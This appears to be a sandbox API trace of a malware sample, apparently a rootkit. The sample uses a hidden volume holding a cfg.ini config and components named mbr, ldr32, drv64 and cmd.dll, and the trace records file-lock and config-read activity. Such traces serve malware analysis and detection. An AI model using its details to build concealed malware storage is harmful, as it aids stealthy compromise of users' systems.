[0117.409] KeEnterCriticalRegion () [0117.409] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.409] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c9c000 [0117.409] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.409] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.409] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.409] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.409] IdePortDispatch () returned 0x103 [0117.409] KeWaitForMutexObject () returned 0x0 [0117.410] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.410] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.410] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.410] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.410] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.410] IdePortDispatch () returned 0x103 [0117.410] KeWaitForMutexObject () returned 0x0 [0117.410] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.410] KeLeaveCriticalRegion () [0117.410] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.410] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.411] KeEnterCriticalRegion () [0117.411] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.411] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.411] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.411] KeLeaveCriticalRegion () [0117.411] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.411] KeEnterCriticalRegion () [0117.411] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.411] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.411] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c13a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.411] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.411] KeLeaveCriticalRegion () [0117.411] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.411] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.411] KeEnterCriticalRegion () [0117.411] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.411] ExFreePoolWithTag (P=0xfffffa80039cf600, Tag=0x0) [0117.411] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.411] KeLeaveCriticalRegion () [0117.411] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.411] ReleaseMutex (hMutex=0xf0) returned 1 [0117.411] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0117.411] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0117.411] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0117.411] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.411] KeEnterCriticalRegion () [0117.411] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.411] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.411] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.411] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.411] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.411] IdePortDispatch () returned 0x103 [0117.412] KeWaitForMutexObject () returned 0x0 [0117.412] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.412] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.412] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.412] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.412] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.412] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.412] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.412] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.412] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.412] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.412] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.412] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.412] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.412] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.412] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.412] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.412] KeLeaveCriticalRegion () [0117.412] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.412] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0117.412] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.412] KeEnterCriticalRegion () [0117.412] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.412] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.412] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.412] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.412] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.412] IdePortDispatch () returned 0x103 [0117.412] KeWaitForMutexObject () returned 0x0 [0117.413] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.413] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.413] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.413] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.413] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.413] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.413] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.413] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.413] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.413] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.413] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.413] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.413] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.413] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.413] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.413] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.413] KeLeaveCriticalRegion () [0117.413] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.413] ReleaseMutex (hMutex=0x100) returned 1 [0117.413] Sleep (dwMilliseconds=0x2bf20) [0117.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x692f2570, dwHighDateTime=0x1d24fa4)) [0117.421] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0117.421] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.421] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.421] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.421] KeEnterCriticalRegion () [0117.421] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.422] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.422] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.422] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.422] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.422] IdePortDispatch () returned 0x103 [0117.422] KeWaitForMutexObject () returned 0x0 [0117.422] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.422] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.422] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.422] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.422] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.422] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039cf600 [0117.422] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.422] KeLeaveCriticalRegion () [0117.422] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.422] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.422] KeEnterCriticalRegion () [0117.422] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.422] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.422] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.422] KeLeaveCriticalRegion () [0117.422] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.422] KeEnterCriticalRegion () [0117.422] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.422] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.422] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.422] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.422] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.422] IdePortDispatch () returned 0x103 [0117.422] KeWaitForMutexObject () returned 0x0 [0117.423] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.423] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.423] KeLeaveCriticalRegion () [0117.423] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.423] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.423] KeEnterCriticalRegion () [0117.423] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.423] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c9f000 [0117.423] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.423] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.423] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.423] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.423] IdePortDispatch () returned 0x103 [0117.423] KeWaitForMutexObject () returned 0x0 [0117.423] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.423] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.423] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.423] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.423] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.423] IdePortDispatch () returned 0x103 [0117.423] KeWaitForMutexObject () returned 0x0 [0117.423] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.423] KeLeaveCriticalRegion () [0117.423] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.424] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.424] KeEnterCriticalRegion () [0117.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.424] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.424] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.424] KeLeaveCriticalRegion () [0117.424] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.424] KeEnterCriticalRegion () [0117.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.424] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.424] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c13a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.424] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.424] KeLeaveCriticalRegion () [0117.424] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.424] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.424] KeEnterCriticalRegion () [0117.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.424] ExFreePoolWithTag (P=0xfffffa80039cf600, Tag=0x0) [0117.424] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.424] KeLeaveCriticalRegion () [0117.424] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.424] ReleaseMutex (hMutex=0xf0) returned 1 [0117.424] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.424] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.424] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.424] KeEnterCriticalRegion () [0117.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.424] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.424] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.424] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.424] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.424] IdePortDispatch () returned 0x103 [0117.425] KeWaitForMutexObject () returned 0x0 [0117.425] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.425] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.425] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.425] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.425] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.425] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c63f0 [0117.425] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.425] KeLeaveCriticalRegion () [0117.425] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.425] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.425] KeEnterCriticalRegion () [0117.425] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.425] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.425] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.425] KeLeaveCriticalRegion () [0117.425] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.425] KeEnterCriticalRegion () [0117.425] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.425] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.425] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.425] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.425] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.425] IdePortDispatch () returned 0x103 [0117.425] KeWaitForMutexObject () returned 0x0 [0117.425] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.425] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.425] KeLeaveCriticalRegion () [0117.425] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.426] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.426] KeEnterCriticalRegion () [0117.426] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.426] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca0000 [0117.426] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.426] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.426] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.426] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.426] IdePortDispatch () returned 0x103 [0117.426] KeWaitForMutexObject () returned 0x0 [0117.426] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.426] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.426] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.426] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.426] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.426] IdePortDispatch () returned 0x103 [0117.426] KeWaitForMutexObject () returned 0x0 [0117.426] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.426] KeLeaveCriticalRegion () [0117.426] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.427] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.427] KeEnterCriticalRegion () [0117.427] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.427] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.427] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.427] KeLeaveCriticalRegion () [0117.427] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.427] KeEnterCriticalRegion () [0117.427] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.427] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.427] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800381bf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.427] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.427] KeLeaveCriticalRegion () [0117.427] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.427] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.427] KeEnterCriticalRegion () [0117.427] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.427] ExFreePoolWithTag (P=0xfffffa80039c63f0, Tag=0x0) [0117.427] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.427] KeLeaveCriticalRegion () [0117.427] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.427] ReleaseMutex (hMutex=0xf0) returned 1 [0117.427] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.427] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0117.427] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.427] KeEnterCriticalRegion () [0117.427] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.427] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.427] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.427] MmProbeAndLockPages (in: 